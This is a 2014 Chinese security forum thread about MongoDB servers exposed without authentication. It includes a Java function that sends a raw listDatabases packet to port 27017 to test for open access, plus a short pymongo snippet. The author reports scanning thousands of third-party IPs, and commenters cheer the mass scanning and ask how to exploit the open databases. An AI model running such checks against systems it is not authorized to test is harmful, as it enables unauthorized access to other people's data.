Mongodb未授权访问
园长 (但愿你是狗,牵你一起走。@z7y @小胖子 噢,最怕你是狗喔,我最怕你不走。@saline @Anonymous 从前 @z7y 有个表弟 @VIP 后来死了。) | 2014-12-21 23:09
Mongodb默认不需要配置auth导致未授权访问问题令人堪忧。
前年的时候写了个Mongodb未授权扫描工具发现了一些企业Mongodb未授权访问问题(测试发现包括一些游戏厂商),但在数量上还不太严重。
近期Mongodb问题越演越烈,上周对10812个国内IP进行探测时候发现了接近4000个未授权访问IP。
漏洞验证方法:
利用mongo-java-driver-2.12.4.jar
MongoClient client = new MongoClient(host,port);
或:
private boolean loginTest(String host,int timeout){ try { byte[] b = new byte[]{0x3f,0x00,0x00,0x00,(byte) 0x97,0x75,(byte) 0xbc,0x60,(byte) 0xff,(byte) 0xff,(byte) 0xff,(byte) 0xff,(byte) 0xd4,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x61,0x64,0x6d,0x69,0x6e,0x2e,0x24,0x63,0x6d,0x64,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x18,0x00,0x00,0x00,0x10,0x6c,0x69,0x73,0x74,0x44,0x61,0x74,0x61,0x62,0x61,0x73,0x65,0x73,0x00,0x01,0x00,0x00,0x00,0x00}; InetSocketAddress address = new InetSocketAddress(host,27017); Socket socket = new Socket(); socket.connect(address,timeout); socket.setSoTimeout(timeout); OutputStream out = socket.getOutputStream(); out.write(b); socket.shutdownOutput(); BufferedReader br = new BufferedReader(new InputStreamReader(socket.getInputStream())); String str = ""; StringBuilder sb = new StringBuilder(); while((str=br.readLine())!=null){ sb.append(str); } return sb.toString().contains("local"); } catch (Exception e) { return false; } }
这里似乎有一份邪红色团队的“全球Mongodb未授权访问探测报告"同样说明了问题的严重性:
Mongodb unauthorized access vulnerability global probing report
[+] Author: f1,2,4 [+] Team: FF0000 TEAM <http://www.ff0000.cc> [+] From: HackerSoul <http://www.hackersoul.com> [+] Create: 2014-12-10 Introduction Domain list Proof of Concept Scan results IP location Evil hackers
各种吐槽:
1#
xiaoxin (己所不欲,勿施于人) | 2014-12-21 23:11
园长也这么疯狂的扫
2#
RedFree (11:11 11-11-1112 |※(器杀制自) | 2014-12-21 23:12
园长 牌扫描大法好!
3#
Noxxx | 2014-12-21 23:17
一大波刷洞即将袭来
4#
debbbbie (深藏功与名~~) | 2014-12-21 23:22
具体有什么危害。。。难道不需要验证帐号密码直接操作吗???
5#
_Thorns | 2014-12-21 23:27
一大波刷洞即将袭来 ...
6#感谢(1)
园长 (但愿你是狗,牵你一起走。@z7y @小胖子 噢,最怕你是狗喔,我最怕你不走。@saline @Anonymous 从前 @z7y 有个表弟 @VIP 后来死了。) | 2014-12-21 23:34
@RedFree 刚又撸了一次,10812个ip,去重后成功登陆的有4127个。
7#
only_guest (PKAV-誓与AV抢宅男!) | 2014-12-21 23:39
@园长 这一万多个IP是指的初次扫描后筛选出的存在mongodb的IP吧?总共的被扫描IP数是多少呢?
8#
园长 (但愿你是狗,牵你一起走。@z7y @小胖子 噢,最怕你是狗喔,我最怕你不走。@saline @Anonymous 从前 @z7y 有个表弟 @VIP 后来死了。) | 2014-12-21 23:48
@only_guest 这1万IP是开放27017并识别为Mongodb的IP,ip列表来自xx 全是国内的 主要来自北京、杭州和广州。
9#
RedFree (11:11 11-11-1112 |※(器杀制自) | 2014-12-21 23:50
@园长 如果是10812个ip有4127个可以成功登陆,这已经很严重了。因为这些只是公网ip,放到内网去扫描成功率会更高。以前是没有多少人了解Mongodb,随着知识的普及它呈现的问题会更多。
10#
sin (Original sin) | 2014-12-21 23:55
意思是10812个配置有Mongodb数据库的ip,未授权可以登录的有4127个吧。40%概率!太大了
11#
YY-2012 (#)<alert("dan")>(#) | 2014-12-22 00:01
10812怎么找的?
12#
0x12 (帽子掉了|多逛,少说话。|小学生) | 2014-12-22 00:04
撸得漂亮
13#
Demon (证道) | 2014-12-22 00:04
的确令人堪忧,我们邪红对此数据进行深度挖掘发现了许多有意思的东西.
14#
刘海哥 (www.smd5.org) | 2014-12-22 00:35
扫扫更健康!
15#
浮生 | 2014-12-22 02:34
新产品的上线,总是要经过阵痛,才能更加完善
16#
老黑 | 2014-12-22 08:08
C段 B段一扫 一大堆 呵呵
17#
浮萍 | 2014-12-22 08:12
这么严重
18#
Coffee (高三加油~) | 2014-12-22 08:45
官方为什么更新不修改默认配置?
19#
咖啡 | 2014-12-22 08:45
希望此类洞别给分
20#
爱上平顶山 (IT民工 职业搬砖 挖坑 丝一枚 神马都不会~) | 2014-12-22 08:57
@园长 看到没 这才是好的 鄙视主站刷分的~
21#
爱上平顶山 (IT民工 职业搬砖 挖坑 丝一枚 神马都不会~) | 2014-12-22 08:58
@几何黑店
22#
sky (z7y首席收银员) | 2014-12-22 09:06
@爱上平顶山 园长不发威,你们当他是 hello cat?
23#
围剿 | 2014-12-22 09:18
good
jb
24#
by灰客 | 2014-12-22 09:38
求一个能链接的。。
想看看效果
25#
Z-0ne (一个很懒的人) | 2014-12-22 09:45
这确实是个问题,公网要配个服务一会儿就被搞了
26#
null (#) | 2014-12-22 09:48
import pymongo
client = pymongo.MongoClient("localhost", 27017)
27#
Mody | 2014-12-22 10:00
@null 园长的socket更快哦
28#
FenQing | 2014-12-22 10:15
园长发的东西都有料啊
29#
xfkxfk | 2014-12-22 10:22
园长的这1W多个IP扫描池时都开启了mongodb的IP,之前做过一次测试,全球排名100W的站点,只测试成功登陆的3000左右
30#
xfkxfk | 2014-12-22 10:22
园长的这1W多个IP扫描池时都开启了mongodb的IP,之前做过一次测试,全球排名100W的站点,只测试成功登陆的3000左右
31#
小手冰凉 | 2014-12-22 10:26
不能利用岂不是蛋碎 而且多年面前就出过这个 http://news.cnblogs.com/n/121155/
32#
ztaosony | 2014-12-22 10:28
又是刷洞的节奏?
33#
小 葛 (http://sechome.cn/) | 2014-12-22 10:29
具体咋利用.0.00
34#
爱捣蛋的鬼 | 2014-12-22 10:50
es也有未授权访问, 不过es里面数据大多不是敏感数据
35#
龍 、 | 2014-12-22 12:00
园长也这么疯狂的扫
36#
RainShine (等一个人三年是愚蠢的)(抱歉我本不应该等的。) | 2014-12-22 12:11
[i][b]我擦,一撸一大堆啊……园长又疯狂了……[/b][/i]
37#
reality0ne | 2014-12-22 12:35
。。其实吧,好多nosql都有这个问题。。默认都是无密码的。。
38#
专业种田 | 2014-12-22 13:42
都自动化了,不错。
39#
jusker (后悔有什么用,着手当下) | 2014-12-22 13:48
园长大牛专业拉拖拉机工具
40#
hack雪花 (This is a test"></textare) | 2014-12-23 13:21
@xfkxfk 怎么用求教
41#
Sura、Rain | 2014-12-24 13:11
有什么用呢,大部分都是日志,很少有敏感数据 ,用mongodb的都是做大数据分析的
42#
360网站卫士 (专业爆腾讯漏洞30年) | 2014-12-24 14:47
@Sura、Rain http://linux.im/2014/12/18/mongodb_unauthorized_access_vulnerability_sinaweibo_app_accessToken.html
43#
Sura、Rain | 2014-12-24 22:40
@360网站卫士 都说很少了,你能找出几个这样的服务器?
44#
360网站卫士 (专业爆腾讯漏洞30年) | 2014-12-25 12:47
@Sura、Rain 你去试试不就知道了?少?在这种大范围的泄露面前,少也会是多。
留言评论(旧系统):